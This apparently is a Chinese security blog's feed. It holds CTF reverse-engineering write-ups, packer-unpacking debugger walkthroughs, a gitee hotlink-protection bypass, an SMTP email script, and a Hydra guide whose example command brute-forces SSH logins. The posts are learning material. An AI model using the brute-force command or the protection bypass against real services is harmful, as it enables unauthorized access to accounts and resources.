&#x27;meter_no&#x27;<span class="hljs-punctuation">:</span> &#x27;<span class="hljs-number">000017001111</span>&#x27;<span class="hljs-punctuation">,</span> &#x27;meter_id&#x27;<span class="hljs-punctuation">:</span> &#x27;xxxxxxxxxxxxxxxxxxxxx&#x27;<span class="hljs-punctuation">&#125;</span><span class="hljs-punctuation">]</span><span class="hljs-punctuation">,</span> &#x27;house_no&#x27;<span class="hljs-punctuation">:</span> &#x27;<span class="hljs-number">607</span>&#x27;<span class="hljs-punctuation">,</span> &#x27;wallet_balance&#x27;<span class="hljs-punctuation">:</span> <span class="hljs-number">0</span><span class="hljs-punctuation">,</span> &#x27;house_addr&#x27;<span class="hljs-punctuation">:</span> &#x27;xxxxxxxxxxxx&#x27;<span class="hljs-punctuation">,</span> &#x27;customer_name&#x27;<span class="hljs-punctuation">:</span> &#x27;XXXXXXXXXXXXX&#x27;<span class="hljs-punctuation">,</span> &#x27;pay_customer_flag&#x27;<span class="hljs-punctuation">:</span> &#x27;<span class="hljs-number">0</span>&#x27;<span class="hljs-punctuation">&#125;</span><span class="hljs-punctuation">]</span><span class="hljs-punctuation">,</span> &#x27;msg&#x27;<span class="hljs-punctuation">:</span> &#x27;&#x27;<span class="hljs-punctuation">,</span> &#x27;ret&#x27;<span class="hljs-punctuation">:</span> &#x27;<span class="hljs-number">1</span>&#x27;<span class="hljs-punctuation">&#125;</span><br></code></pre></td></tr></table></figure><p>成功获取我们要的报文后我们了解了在python中存在一个交SMTP的库，自带的竟然是,直接贴使用代码，看得更清楚些</p><figure class="highlight py"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br></pre></td><td class="code"><pre><code class="hljs py"><span class="hljs-comment">#!/usr/bin/python</span><br><span class="hljs-comment"># -*- coding: UTF-8 -*-</span><br> <br><span class="hljs-keyword">import</span> smtplib<br><span class="hljs-keyword">from</span> email.mime.text <span class="hljs-keyword">import</span> MIMEText<br><span class="hljs-keyword">from</span> email.header <span class="hljs-keyword">import</span> Header<br> <br><span class="hljs-comment"># 第三方 SMTP 服务</span><br>mail_host=<span class="hljs-string">&quot;smtp.XXX.com&quot;</span>  <span class="hljs-comment">#设置服务器</span><br>mail_user=<span class="hljs-string">&quot;XXXX&quot;</span>    <span class="hljs-comment">#用户名</span><br>mail_pass=<span class="hljs-string">&quot;XXXXXX&quot;</span>   <span class="hljs-comment">#口令 </span><br> <br> <br>sender = <span class="hljs-string">&#x27;from@runoob.com&#x27;</span><br>receivers = [<span class="hljs-string">&#x27;429240967@qq.com&#x27;</span>]  <span class="hljs-comment"># 接收邮件，可设置为你的QQ邮箱或者其他邮箱</span><br> <br>message = MIMEText(<span class="hljs-string">&#x27;Python 邮件发送测试...&#x27;</span>, <span class="hljs-string">&#x27;plain&#x27;</span>, <span class="hljs-string">&#x27;utf-8&#x27;</span>)<br>message[<span class="hljs-string">&#x27;From&#x27;</span>] = Header(<span class="hljs-string">&quot;菜鸟教程&quot;</span>, <span class="hljs-string">&#x27;utf-8&#x27;</span>)<br>message[<span class="hljs-string">&#x27;To&#x27;</span>] =  Header(<span class="hljs-string">&quot;测试&quot;</span>, <span class="hljs-string">&#x27;utf-8&#x27;</span>)<br> <br>subject = <span class="hljs-string">&#x27;Python SMTP 邮件测试&#x27;</span><br>message[<span class="hljs-string">&#x27;Subject&#x27;</span>] = Header(subject, <span class="hljs-string">&#x27;utf-8&#x27;</span>)<br> <br> <br><span class="hljs-keyword">try</span>:<br>    smtpObj = smtplib.SMTP() <br>    smtpObj.connect(smtp.qq.com, <span class="hljs-number">25</span>)    <span class="hljs-comment"># 25 为 SMTP端口号 456为ssh加密端口号</span><br>    smtpObj.login(mail_user,mail_pass)  <span class="hljs-comment">#用户的邮箱号，pass不是密码是SMTP授权号码</span><br>    smtpObj.sendmail(sender, receivers, message.as_string())<br>    <span class="hljs-built_in">print</span> <span class="hljs-string">&quot;邮件发送成功&quot;</span><br><span class="hljs-keyword">except</span> smtplib.SMTPException:<br>    <span class="hljs-built_in">print</span> <span class="hljs-string">&quot;Error: 无法发送邮件&quot;</span><br></code></pre></td></tr></table></figure><p>我们需要开启qq邮箱的smtp服务,了解了<br><img src="https://gitee.com/fogpost/photo/raw/master/202409150023941.png" srcset="/img/loading.gif" lazyload><br>顺便贴一个From的格式我在这里卡住了。。。邮箱格式要正确呜呜呜<br><img src="https://gitee.com/fogpost/photo/raw/master/202409150023846.png" srcset="/img/loading.gif" lazyload></p>]]></content>
    
    
    <categories>
      
      <category>工具</category>
      
    </categories>
    
    
    <tags>
      
      <tag>web</tag>
      
    </tags>
    
  </entry>
  
  
  
  <entry>
    <title>BaseCTF202409</title>
    <link href="/2024/09/14/BaseCTF202409/"/>
    <url>/2024/09/14/BaseCTF202409/</url>
    
    <content type="html"><![CDATA[<h2 id="Reverse"><a href="#Reverse" class="headerlink" title="Reverse"></a>Reverse</h2><h3 id="UPX-mini"><a href="#UPX-mini" class="headerlink" title="UPX mini"></a>UPX mini</h3><p>既然是UPX那必须先DIE查壳<br><img src="https://gitee.com/fogpost/photo/raw/master/202409141119212.png" srcset="/img/loading.gif" lazyload><br>一看就不对劲，upx最多只见过3.96的，不过这里先用upx自己脱一下可以脱<br>直接继续查，64位无壳，进入ida<br><img src="https://gitee.com/fogpost/photo/raw/master/202409141122619.png" srcset="/img/loading.gif" lazyload><br>明显的base64直接，解密<br><img src="https://gitee.com/fogpost/photo/raw/master/202409141123562.png" srcset="/img/loading.gif" lazyload><br>秒解<br>BaseCTF{Hav3_@_g0od_t1m3!!!}</p><h3 id="ez-xor"><a href="#ez-xor" class="headerlink" title="ez_xor"></a>ez_xor</h3><p>简单xor，直接看ida，查位数64位<br><img src="https://gitee.com/fogpost/photo/raw/master/202409141128380.png" srcset="/img/loading.gif" lazyload><br>看码了解，关键函数keystream和encrpt，输入长度为28，str、v11、v12、v13加起来正好28位,这个题目要注意的就是ida中的c是小端序的会所有的数据都会反转，而且记得使用原数据，不要用转义后的容易出错<br><img src="https://gitee.com/fogpost/photo/raw/master/202409141137462.png" srcset="/img/loading.gif" lazyload><br><img src="https://gitee.com/fogpost/photo/raw/master/202409141138498.png" srcset="/img/loading.gif" lazyload><br>写pythonexp</p><figure class="highlight python"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br></pre></td><td class="code"><pre><code class="hljs python"><span class="hljs-comment">#官方wp</span><br><span class="hljs-keyword">def</span> <span class="hljs-title function_">key_stream</span>(<span class="hljs-params">key</span>):<br>    key_box = []<br>    <span class="hljs-keyword">for</span> i <span class="hljs-keyword">in</span> <span class="hljs-built_in">range</span>(<span class="hljs-number">28</span>):<br>        key_box.append(key[i%<span class="hljs-number">3</span>] ^ i)<br>    <span class="hljs-keyword">return</span> key_box<br><br><span class="hljs-keyword">def</span> <span class="hljs-title function_">decrypt</span>(<span class="hljs-params">enc, key</span>):<br>    flag = <span class="hljs-string">&quot;&quot;</span><br>    key = key[::-<span class="hljs-number">1</span>]<br>    <span class="hljs-keyword">for</span> i <span class="hljs-keyword">in</span> <span class="hljs-built_in">range</span>(<span class="hljs-built_in">len</span>(enc)):<br>        flag += <span class="hljs-built_in">chr</span>(enc[i] ^ key[i])<br>    <span class="hljs-keyword">return</span> flag<br><br>enc1 = <span class="hljs-built_in">bytes</span>.fromhex(<span class="hljs-string">&quot;1D0B2D2625050901&quot;</span>)[::-<span class="hljs-number">1</span>]<br>enc2 = <span class="hljs-built_in">bytes</span>.fromhex(<span class="hljs-string">&quot;673D491E20317A24&quot;</span>)[::-<span class="hljs-number">1</span>]<br>enc3 = <span class="hljs-built_in">bytes</span>.fromhex(<span class="hljs-string">&quot;34056E2E2508504D&quot;</span>)[::-<span class="hljs-number">1</span>]<br>enc4 = <span class="hljs-string">b&quot;\&quot;@;%&quot;</span><br>enc = enc1 + enc2 + enc3 + enc4<br><span class="hljs-built_in">print</span>(enc)<br><br>key = (<span class="hljs-number">7499608</span>).to_bytes(<span class="hljs-number">4</span>, <span class="hljs-string">&#x27;little&#x27;</span>)<br>key_box = key_stream(key)<br><span class="hljs-built_in">print</span>(key_box)<br><br>flag = decrypt(enc,key_box)<br><span class="hljs-built_in">print</span>(flag)<br></code></pre></td></tr></table></figure><h3 id="BasePlus"><a href="#BasePlus" class="headerlink" title="BasePlus"></a>BasePlus</h3><p>以上来就搞个base64啊，我感觉像，但是没有确定，于是就看不懂函数里面的几个值为什么没有数了，这么奇怪，果然还是没有学过，不过这次好好分析了一番下次应该就可以瞬间秒杀了，看题<br><img src="https://gitee.com/fogpost/photo/raw/master/202409141107908.png" srcset="/img/loading.gif" lazyload><br>我们能了解重要函数为Encode，进入<br><img src="https://gitee.com/fogpost/photo/raw/master/202409141108814.png" srcset="/img/loading.gif" lazyload><br>了解了这个是base64后我们还要和源代码分析，发现存在不同<br><img src="https://gitee.com/fogpost/photo/raw/master/202409141109133.png" srcset="/img/loading.gif" lazyload><br>了解了这中间有个异或的操作，十分简单</p><figure class="highlight c++"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br></pre></td><td class="code"><pre><code class="hljs c++"><span class="hljs-keyword">do</span><br>&#123;<br>    *(_BYTE *)(a2 + v8) = v4[v8] ^ <span class="hljs-number">0xE</span>;<br>    ++v8;<br>&#125;<br><span class="hljs-keyword">while</span> ( v8 != v5 );<br></code></pre></td></tr></table></figure><p>直接cyberChef换表加异或双重解密完成，<br>贴个无广告的<a href="https://cyberchef.org/">cyberchef</a><br><img src="https://gitee.com/fogpost/photo/raw/master/202409141116043.png" srcset="/img/loading.gif" lazyload><br>得到flag<br>BaseCTF{BA5e_DEcoD1N6_sEcr3t}</p><h3 id="Ezpy"><a href="#Ezpy" class="headerlink" title="Ezpy"></a>Ezpy</h3><p>首先就是按照惯例，文件属性查询，直接die，也可以用DEID或者peexam去查。不过die很全面，但是确实很卡<br><img src="https://gitee.com/fogpost/photo/raw/master/202409151024364.png" srcset="/img/loading.gif" lazyload><br><img src="https://gitee.com/fogpost/photo/raw/master/202409151027465.png" srcset="/img/loading.gif" lazyload><br>看题目我们就知道是一个这是一个python题目，其实还有一个办法，pythonexe图标大多都是这个，看DIE竟然没有显示是什么软件打包的，那么我们便可以试试pyinstxtractor<br><img src="https://gitee.com/fogpost/photo/raw/master/202409151029748.png" srcset="/img/loading.gif" lazyload><br>这就是解包过程，和使用方法，在这个过程中pyinstxtractor会自动创建一个导出包，我们可以查看，同时我们也可以发现解包软件对python版本的需求，你有想法的可以用<a href="https://zhuanlan.zhihu.com/p/36402791">pyenv</a>去除掉这个错误，其实我感觉没什么区别，主要在于后面pyc文件中的magic number<br>进入解包文件夹，会发现资源文件夹和大量的动态链接库，我们只取敌将首级，直接看到一个没有后缀的题目同名软件Ezpy<br><img src="https://gitee.com/fogpost/photo/raw/master/202409151035853.png" srcset="/img/loading.gif" lazyload><br>这个其实是pyc也就是python的字节码。我们需要的就是这个，python大部分就是利用pyc来进行反编译，我们所知的反编译工具有<a href="https://www.52pojie.cn/thread-1854345-1-1.html">pycdc</a>(pycdc会有些麻烦，不过感觉强大些，因为是反编译难免会出现错误，而这个的错误出现会更加稀少)和<a href="https://pypi.com.cn/project/uncompyle6/">uncompyle6</a>这个的安装非常的简单，有python就行(但是只支持3.8及一下的，作者大大不更3.9了)<br>好现在我们开始执行一下pycdc(记得改Ezpy后缀名，pycdc就没关系)，就会发现惊喜了，失败了<br><img src="https://gitee.com/fogpost/photo/raw/master/202409151042742.png" srcset="/img/loading.gif" lazyload><br>这个就是我说的magicnumber的问题解决办法也非常简单，一般解包后都会自带一个struct文件。用字节查看器打开推荐<a href="https://www.52pojie.cn/thread-1863194-1-1.html">010</a>，不过大部分都是损坏的我在这贴一个<a href="https://blog.csdn.net/OrientalGlass/article/details/134612786">magicnumber</a>。<br>注意大小端序，照着改就行。建议是十六个字节，留空留下栈区<br><img src="https://gitee.com/fogpost/photo/raw/master/202409151053398.png" srcset="/img/loading.gif" lazyload><br>然后直接反编译(也可以用网络版的)</p><figure class="highlight py"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br><span class="line">36</span><br><span class="line">37</span><br><span class="line">38</span><br><span class="line">39</span><br><span class="line">40</span><br><span class="line">41</span><br><span class="line">42</span><br><span class="line">43</span><br><span class="line">44</span><br><span class="line">45</span><br></pre></td><td class="code"><pre><code class="hljs py"><span class="hljs-keyword">import</span> Key<br><span class="hljs-keyword">import</span> sys<br><br><span class="hljs-keyword">def</span> <span class="hljs-title function_">init_Sbox</span>(<span class="hljs-params">seed</span>):<br>    k_b = (<span class="hljs-keyword">lambda</span> <span class="hljs-number">.0</span> = <span class="hljs-literal">None</span>: [ <span class="hljs-built_in">ord</span>(seed[i % <span class="hljs-built_in">len</span>(seed)]) <span class="hljs-keyword">for</span> i <span class="hljs-keyword">in</span> <span class="hljs-number">.0</span> ])(<span class="hljs-built_in">range</span>(<span class="hljs-number">256</span>))<br>    s = <span class="hljs-built_in">list</span>(<span class="hljs-built_in">range</span>(<span class="hljs-number">256</span>))<br>    j = <span class="hljs-number">0</span><br>    <span class="hljs-keyword">for</span> i <span class="hljs-keyword">in</span> <span class="hljs-built_in">range</span>(<span class="hljs-number">256</span>):<br>        j = (j + s[i] + k_b[i]) % <span class="hljs-number">256</span><br>        s[i] = s[j]<br>        s[j] = s[i]<br>    <span class="hljs-keyword">return</span> s<br><br><br><span class="hljs-keyword">def</span> <span class="hljs-title function_">KeyStream</span>(<span class="hljs-params">text, Sbox</span>):<br>    s = Sbox.copy()<br>    (i, j) = (<span class="hljs-number">0</span>, <span class="hljs-number">0</span>)<br>    k = [<br>        <span class="hljs-number">0</span>] * <span class="hljs-built_in">len</span>(text)<br>    <span class="hljs-keyword">for</span> r <span class="hljs-keyword">in</span> <span class="hljs-built_in">range</span>(<span class="hljs-built_in">len</span>(text)):<br>        i = (i + <span class="hljs-number">1</span>) % <span class="hljs-number">256</span><br>        j = (j + s[i]) % <span class="hljs-number">256</span><br>        s[i] = s[j]<br>        s[j] = s[i]<br>        t = (s[i] + s[j]) % <span class="hljs-number">256</span><br>        k[r] = s[t] ^ Key.keykey[r % <span class="hljs-built_in">len</span>(Key.keykey)]<br>    <span class="hljs-keyword">return</span> k<br><br><br><span class="hljs-keyword">def</span> <span class="hljs-title function_">Encrypt</span>(<span class="hljs-params">text, seed</span>):<br>    Sbox = init_Sbox(seed)<br>    key = KeyStream(text, Sbox)<br>    enc = (<span class="hljs-keyword">lambda</span> <span class="hljs-number">.0</span> = <span class="hljs-literal">None</span>: [ text[i] ^ key[i] <span class="hljs-keyword">for</span> i <span class="hljs-keyword">in</span> <span class="hljs-number">.0</span> ])(<span class="hljs-built_in">range</span>(<span class="hljs-built_in">len</span>(text)))<br>    <span class="hljs-keyword">return</span> <span class="hljs-built_in">bytes</span>(enc)<br><br>enc = <span class="hljs-string">b&#x27;\xe6\xaeC~F\xf2\xe3\xbb\xac\x9a-\x02U\x85p\xeb\x19\xd1\xe4\xc93sG\xb0\xeb1\xb5\x05\x05\xc3\xd7\x00\x18+D\xbc\x0cO\x9em\xf1\xbd&#x27;</span><br>flag = <span class="hljs-built_in">input</span>(<span class="hljs-string">&#x27;Please input Your flag:&#x27;</span>)<br>flag = (<span class="hljs-keyword">lambda</span> <span class="hljs-number">.0</span>: [ <span class="hljs-built_in">ord</span>(i) <span class="hljs-keyword">for</span> i <span class="hljs-keyword">in</span> <span class="hljs-number">.0</span> ])(flag)<br>flag = Encrypt(flag, Key.key)<br><span class="hljs-keyword">if</span> flag != enc:<br>    <span class="hljs-built_in">print</span>(<span class="hljs-string">&quot;It&#x27;s not flag!&quot;</span>)<br>    <span class="hljs-keyword">continue</span><br><span class="hljs-built_in">print</span>(<span class="hljs-string">&#x27;You are right!&#x27;</span>)<br>sys.exit(<span class="hljs-number">1</span>)<br><span class="hljs-keyword">continue</span><br></code></pre></td></tr></table></figure><p>就是一个非常简单的rc4<br>直接给出exp</p>]]></content>
    
    
    <categories>
      
      <category>CTF</category>
      
    </categories>
    
    
    <tags>
      
      <tag>reverse</tag>
      
    </tags>
    
  </entry>
  
  
  
  <entry>
    <title>可恶的gitee吃掉外链了</title>
    <link href="/2024/09/12/%E5%8F%AF%E6%81%B6%E7%9A%84gitee%E5%90%83%E6%8E%89%E5%A4%96%E9%93%BE%E4%BA%86/"/>
    <url>/2024/09/12/%E5%8F%AF%E6%81%B6%E7%9A%84gitee%E5%90%83%E6%8E%89%E5%A4%96%E9%93%BE%E4%BA%86/</url>
    
    <content type="html"><![CDATA[<h3 id="开始"><a href="#开始" class="headerlink" title="开始"></a>开始</h3><p>这是这个博客最开始的故事，我想要用gitee做一个图床，当时我怎么也没想到gitee居然拒绝掉外链的请求了，就像这样<br><img src="https://gitee.com/fogpost/photo/raw/master/202409122231370.png" srcset="/img/loading.gif" lazyload><br>但是反复尝试我们发现了一下返回值</p><h3 id="防盗链"><a href="#防盗链" class="headerlink" title="防盗链"></a>防盗链</h3><p>要实现防盗链，就需要知道图片的请求是从哪里发出的。可以实现这一功能的有请求头中的origin和referer。origin只有在XHR请求中才会带上，所以图片资源只能借助referer</p><p>通过判断请求的referer，如果请求来源不是本站就返回302</p><h4 id="一个完整的流程："><a href="#一个完整的流程：" class="headerlink" title="一个完整的流程："></a>一个完整的流程：</h4><ul><li>首先请求正常的图片，但是没有返回200，而是302重定向，其中响应头中的location就是要重定向去向的地址</li><li>接着浏览器会自动请求这个location，并用这个返回结果代替第一次请求的返回内容<br><img src="https://gitee.com/fogpost/photo/raw/master/202409122241207.png" srcset="/img/loading.gif" lazyload></li></ul><h4 id="如何破解防盗链"><a href="#如何破解防盗链" class="headerlink" title="如何破解防盗链"></a>如何破解防盗链</h4><p>想让gitee不知道我在盗用，就不能让他发现请求的来源是第三方，只要把referer藏起来就好</p><p><img src="https://gitee.com/fogpost/photo/raw/master/202409122236635.png" srcset="/img/loading.gif" lazyload><br>但是我们可以骗过gitee，用butterfly和yilia的主题可以上网搜搜都有讲，fluid这类的不同，但是我们这里要讲下进阶的代码注入<br><img src="https://gitee.com/fogpost/photo/raw/master/202409122233566.png" srcset="/img/loading.gif" lazyload><br>按上面这个我们就可以写出header头前的代码来注入，骗过gitee使图片显现<br>下面是我的代码</p><figure class="highlight js"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><code class="hljs js">hexo.<span class="hljs-property">extend</span>.<span class="hljs-property">injector</span>.<span class="hljs-title function_">register</span>(<span class="hljs-string">&#x27;head_begin&#x27;</span>, <span class="hljs-string">&#x27;&lt;meta name=&quot;referrer&quot; content=&quot;no-referrer&quot; /&gt;&#x27;</span>, <span class="hljs-string">&#x27;post&#x27;</span>);<br></code></pre></td></tr></table></figure><p>注解：</p><meta name="referrer" content="no-referrer" /> 指定了 "no-referrer" 的内容，意味着浏览器在发送请求时不会包含任何引用来源信息。换句话说，当用户从当前网页跳转到其他页面时，新页面接收到的请求中将不包含这个跳转前的页面地址<p><a href="https://blog.csdn.net/weixin_52479803/article/details/131774501">参考文章</a></p>]]></content>
    
    
    <categories>
      
      <category>教程</category>
      
    </categories>
    
    
    <tags>
      
      <tag>blog</tag>
      
    </tags>
    
  </entry>
  
  
  
  <entry>
    <title>asp脱壳</title>
    <link href="/2024/09/12/asp%E8%84%B1%E5%A3%B3/"/>
    <url>/2024/09/12/asp%E8%84%B1%E5%A3%B3/</url>
    
    <content type="html"><![CDATA[<p>asp脱壳时利用</p><h4 id="模拟跟踪法"><a href="#模拟跟踪法" class="headerlink" title="模拟跟踪法"></a>模拟跟踪法</h4><p>利用tc命令跟踪<br><img src="http://gitee.com/fogpost/photo/raw/master/image12.png" srcset="/img/loading.gif" lazyload><br>查找带有sfx和输入表的字段<br><img src="http://gitee.com/fogpost/photo/raw/master/image-1.png" srcset="/img/loading.gif" lazyload><br>这个方法由于时程序自动进行的所以十分缓慢不建议用  </p><h4 id="SFX法"><a href="#SFX法" class="headerlink" title="SFX法"></a>SFX法</h4><p><img src="http://gitee.com/fogpost/photo/raw/master/image-3.png" srcset="/img/loading.gif" lazyload><br>自动抵达<br><img src="http://gitee.com/fogpost/photo/raw/master/image-4.png" srcset="/img/loading.gif" lazyload></p><h3 id="nspack"><a href="#nspack" class="headerlink" title="nspack"></a>nspack</h3><p>巧妙脱壳法<br><img src="http://gitee.com/fogpost/photo/raw/master/image-5.png" srcset="/img/loading.gif" lazyload><br>at GetVersion  </p><p>下版本断点<br><img src="http://gitee.com/fogpost/photo/raw/master/image-6.png" srcset="/img/loading.gif" lazyload><br>在retn处下断点<br>单步F8之后到打OEP之后向前找OEP<br><img src="http://gitee.com/fogpost/photo/raw/master/202409122015500.png" srcset="/img/loading.gif" lazyload></p>]]></content>
    
    
    <categories>
      
      <category>逆向</category>
      
    </categories>
    
    
    <tags>
      
      <tag>reverse</tag>
      
    </tags>
    
  </entry>
  
  
  
  <entry>
    <title>PEcompact脱壳</title>
    <link href="/2024/09/12/PEcompact/"/>
    <url>/2024/09/12/PEcompact/</url>
    
    <content type="html"><![CDATA[<h3 id="PEcompact脱壳"><a href="#PEcompact脱壳" class="headerlink" title="PEcompact脱壳"></a>PEcompact脱壳</h3><p><img src="http://gitee.com/fogpost/photo/raw/master/202409122017434.png" srcset="/img/loading.gif" lazyload></p><blockquote><p>3<br>BP VirtualFree<br>F9到达取消断点<br><img src="http://gitee.com/fogpost/photo/raw/master/202409122017793.png" srcset="/img/loading.gif" lazyload><br>返回到用户代码alt+f9<br>查找PUSH 8000<br><img src="http://gitee.com/fogpost/photo/raw/master/202409122017787.png" srcset="/img/loading.gif" lazyload><br>然后单步到达<br><img src="http://gitee.com/fogpost/photo/raw/master/202409122017628.png" srcset="/img/loading.gif" lazyload></p></blockquote><blockquote><p>4<br>BP VirtualFree<br>两次shift+f9到达<br><img src="http://gitee.com/fogpost/photo/raw/master/202409122017209.png" srcset="/img/loading.gif" lazyload><br>返回到用户代码alt+f9<br><img src="http://gitee.com/fogpost/photo/raw/master/202409122017851.png" srcset="/img/loading.gif" lazyload><br>然后单步跟踪到达oep</p></blockquote><p><img src="http://gitee.com/fogpost/photo/raw/master/202409122017705.png" srcset="/img/loading.gif" lazyload></p><blockquote><p>5<br>bp 0045DE74<br>运行,到达后取消断点<br><img src="http://gitee.com/fogpost/photo/raw/master/202409122018701.png" srcset="/img/loading.gif" lazyload><br>在retn处会返回并执行程序我们现在下面下个断点，然后单步到OEP<br><img src="http://gitee.com/fogpost/photo/raw/master/202409122018935.png" srcset="/img/loading.gif" lazyload><br>这一段汇编比较重要注意在retn后面加上断点</p></blockquote><p><img src="http://gitee.com/fogpost/photo/raw/master/202409122018816.png" srcset="/img/loading.gif" lazyload></p><blockquote><p>6<br>bp VirtualAlloc<br>shift+f9,取消断点,返回用户代码alt+f9<br><img src="http://gitee.com/fogpost/photo/raw/master/202409122018918.png" srcset="/img/loading.gif" lazyload><br>查找jump<br><img src="http://gitee.com/fogpost/photo/raw/master/202409122018029.png" srcset="/img/loading.gif" lazyload><br>单步到OEP</p></blockquote><p><img src="http://gitee.com/fogpost/photo/raw/master/202409122018091.png" srcset="/img/loading.gif" lazyload></p><blockquote><p>7  取消异常<br><img src="http://gitee.com/fogpost/photo/raw/master/202409122018128.png" srcset="/img/loading.gif" lazyload><br><img src="http://gitee.com/fogpost/photo/raw/master/202409122018041.png" srcset="/img/loading.gif" lazyload><br>利用shift+f9,两次过后发现跑飞，利用第二次的SE句柄地址，（如果发现单词就跑飞了那是应为吾爱破解od中的插件strongod的过在option中将skip some Exception取消就行）<br><img src="http://gitee.com/fogpost/photo/raw/master/202409122019809.png" srcset="/img/loading.gif" lazyload><br>查找句柄<br><img src="http://gitee.com/fogpost/photo/raw/master/202409122018041.png" srcset="/img/loading.gif" lazyload><br><img src="http://gitee.com/fogpost/photo/raw/master/202409122019805.png" srcset="/img/loading.gif" lazyload></p></blockquote><p><img src="http://gitee.com/fogpost/photo/raw/master/202409122019946.png" srcset="/img/loading.gif" lazyload></p><blockquote><p>8  两次内存<br>注意对比跳跃代码<br>9  at Getversion<br>到达OEP的下方</p></blockquote>]]></content>
    
    
    <categories>
      
      <category>逆向</category>
      
    </categories>
    
    
    <tags>
      
      <tag>reverse</tag>
      
    </tags>
    
  </entry>
  
  
  
  <entry>
    <title>MSG脱壳过程中的IAT修复</title>
    <link href="/2024/09/12/FSG%E8%84%B1%E5%A3%B3/"/>
    <url>/2024/09/12/FSG%E8%84%B1%E5%A3%B3/</url>
    
    <content type="html"><![CDATA[<h3 id="FSG脱壳过程中的IAT修复"><a href="#FSG脱壳过程中的IAT修复" class="headerlink" title="FSG脱壳过程中的IAT修复"></a>FSG脱壳过程中的IAT修复</h3><p>进行手动查找和IAT修复<br>找可以在动态连接库中查得到的call<br><img src="https://gitee.com/fogpost/photo/raw/master/202409122016001.png" srcset="/img/loading.gif" lazyload><br>在命令行中敲425210然后查连接库函数<br><img src="https://gitee.com/fogpost/photo/raw/master/202409122016599.png" srcset="/img/loading.gif" lazyload><br>向上向下查找为0的数值(分割处)<br><img src="https://gitee.com/fogpost/photo/raw/master/202409122016253.png" srcset="/img/loading.gif" lazyload><br><img src="https://gitee.com/fogpost/photo/raw/master/202409122016865.png" srcset="/img/loading.gif" lazyload><br>手动修改RVA和size的值<br><img src="https://gitee.com/fogpost/photo/raw/master/202409122016959.png" srcset="/img/loading.gif" lazyload></p>]]></content>
    
    
    <categories>
      
      <category>逆向</category>
      
    </categories>
    
    
    <tags>
      
      <tag>reverse</tag>
      
    </tags>
    
  </entry>
  
  
  
  <entry>
    <title>工具使用说明书</title>
    <link href="/2024/09/12/%E4%B8%80%E4%BA%9B%E5%B7%A5%E5%85%B7%E7%9A%84%E4%BD%BF%E7%94%A8%E6%96%B9%E6%B3%95/"/>
    <url>/2024/09/12/%E4%B8%80%E4%BA%9B%E5%B7%A5%E5%85%B7%E7%9A%84%E4%BD%BF%E7%94%A8%E6%96%B9%E6%B3%95/</url>
    
    <content type="html"><![CDATA[<h1 id="工具使用说明书"><a href="#工具使用说明书" class="headerlink" title="工具使用说明书"></a>工具使用说明书</h1><h3 id="Hydra"><a href="#Hydra" class="headerlink" title="Hydra"></a>Hydra</h3><p>hydra -l root -p root 127.0.0.1 -s 2111 ssh -f<br>-l： LOGIN      指定破解的用户，对特定用户破解。<br>-L：FILE     指定用户名字典。<br>-p：PASS ，指定密码破解，少用，一般是采用密码字典。<br>-P： FILE   指定密码字典文件<br>-s： PORT 指定爆破端口<br>-M：FILE    指定目标列表文件<br>-C： FILE   使用冒号分割格式，例如“登录名 : 密码”来代替-L&#x2F;-P参数。<br>-f：  在使用-M参数以后，找到第一对登录名或者密码的时候中止破解</p><blockquote><p>ps:我们可以利用hydra -h来查看帮助</p></blockquote>]]></content>
    
    
    <categories>
      
      <category>工具</category>
      
    </categories>
    
    
    <tags>
      
      <tag>tool</tag>
      
    </tags>
    
  </entry>
  
  
  
  <entry>
    <title>脚本命令和普通命令的区别</title>
    <link href="/2024/09/12/%E8%84%9A%E6%9C%AC%E5%91%BD%E4%BB%A4%E7%9A%84%E6%94%B9%E5%8F%98/"/>
    <url>/2024/09/12/%E8%84%9A%E6%9C%AC%E5%91%BD%E4%BB%A4%E7%9A%84%E6%94%B9%E5%8F%98/</url>
    
